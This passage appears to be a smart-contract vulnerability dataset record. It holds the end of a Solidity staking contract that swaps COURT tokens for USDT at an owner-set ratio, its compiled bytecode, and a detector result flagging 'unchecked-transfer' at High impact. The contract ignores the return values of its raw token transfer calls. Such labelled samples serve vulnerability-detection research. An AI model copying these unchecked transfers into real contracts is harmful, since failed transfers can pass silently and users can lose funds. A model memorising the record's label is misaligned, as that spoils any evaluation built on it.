Denominator"); require(denominator != 0, "denominator can not be 0"); //can not div by zero courtToken = IERC20(courtAddress); usdtToken = IERC20(usdtAddress); usdtDecimals = decimals; numerator = _numerator; denominator = _denominator; } function lockedStake(uint256 courtAmount, address beneficiar, uint256, uint256, uint256) public{ require(hasPermissionToCallLockedStake[msg.sender] == true, "caller has no permission to call courtAmount"); courtToken.transferFrom(msg.sender,address(this), courtAmount); // msg sender here is the HTStake contracte uint256 usdtAmount = getRequiredAmount(courtAmount); usdtToken.safeTransferFrom(beneficiar,address(this),usdtAmount); // user need to approve this contract usdtToken.safeTransfer(owner,usdtAmount); courtToken.transfer(beneficiar,courtAmount); //beneficiar the one who claim court } function getRequiredAmount(uint256 amount) public view returns(uint256){ return amount.mul(numerator).div(denominator.mul(10 ** (courtDecimals - usdtDecimals) )); } function setLockedStakePermission(address account, bool permissionFlag) public{ require(msg.sender == owner, "only owner can change Numerator and Denominator"); hasPermissionToCallLockedStake[account] = permissionFlag; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063a98ad46c11610071578063a98ad46c14610166578063c3443b691461016e578063caa32b9114610176578063ce5f9454146101b4578063f895be10146101bc578063fb301841146101d9576100a9565b8063824df88d146100ae57806382543b32146100de5780638da5cb5b146100f857806393d8685f1461011c57806396ce07951461015e575b600080fd5b6100dc600480360360408110156100c457600080fd5b506001600160a01b03813516906020013515156101f7565b005b6100e661026b565b60408051918252519081900360200190f35b610100610271565b604080516001600160a01b039092168252519081900360200190f35b6100dc600480360360a081101561013257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060800135610280565b6100e661035b565b610100610361565b610100610370565b6100dc600480360360a081101561018c57600080fd5b508035906001600160a01b03602082013516906040810135906060810135906080013561037f565b6100e6610536565b6100e6600480360360208110156101d257600080fd5b503561053c565b6101e1610595565b6040805160ff9092168252519081900360200190f35b6006546001600160a01b031633146102405760405162461bcd60e51b815260040180806020018281038252602f8152602001806109c1602f913960400191505060405180910390fd5b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b60025481565b6006546001600160a01b031681565b6006546001600160a01b031633146102c95760405162461bcd60e51b815260040180806020018281038252602f8152602001806109c1602f913960400191505060405180910390fd5b60045461031d576040805162461bcd60e51b815260206004820152601860248201527f64656e6f6d696e61746f722063616e206e6f7420626520300000000000000000604482015290519081900360640190fd5b600080546001600160a01b039687166001600160a01b0319918216179091556001805495909616941693909317909355600255600391909155600455565b60045481565b6001546001600160a01b031681565b6000546001600160a01b031681565b3360009081526005602052604090205460ff1615156001146103d25760405162461bcd60e51b815260040180806020018281038252602c815260200180610995602c913960400191505060405180910390fd5b60008054604080516323b872dd60e01b81523360048201523060248201526044810189905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b15801561042d57600080fd5b505af1158015610441573d6000803e3d6000fd5b505050506040513d602081101561045757600080fd5b50600090506104658661053c565b600154909150610486906001600160a01b031686308463ffffffff6105a516565b6006546001546104a9916001600160a01b0391821691168363ffffffff61060516565b600080546040805163a9059cbb60e01b81526001600160a01b038981166004830152602482018b90529151919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561050257600080fd5b505af1158015610516573d6000803e3d6000fd5b505050506040513d602081101561052c57600080fd5b5050505050505050565b60035481565b600061058f61056f600254600060149054906101000a900460ff1660ff1603600a0a60045461065c90919063ffffffff16565b60035461058390859063ffffffff61065c16565b9063ffffffff6106bc16565b92915050565b600054600160a01b900460ff1681565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526105ff9085906106fe565b50505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526106579084906106fe565b505050565b60008261066b5750600061058f565b8282028284828161067857fe5b04146106b55760405162461bcd60e51b81526004018080602001828103825260218152602001806109f06021913960400191505060405180910390fd5b9392505050565b60006106b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108b6565b610710826001600160a01b0316610958565b610761576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061079f5780518252601f199092019160209182019101610780565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610801576040519150601f19603f3d011682016040523d82523d6000602084013e610806565b606091505b50915091508161085d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156105ff5780806020019051602081101561087957600080fd5b50516105ff5760405162461bcd60e51b815260040180806020018281038252602a815260200180610a11602a913960400191505060405180910390fd5b600081836109425760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109075781810151838201526020016108ef565b50505050905090810190601f1680156109345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161094e57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061098c5750808214155b94935050505056fe63616c6c657220686173206e6f207065726d697373696f6e20746f2063616c6c20636f757274416d6f756e746f6e6c79206f776e65722063616e206368616e6765204e756d657261746f7220616e642044656e6f6d696e61746f72536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820e262153e685e7419b77132c5e64d8e8c00b19bc895857dc52e16d0e00937007064736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
599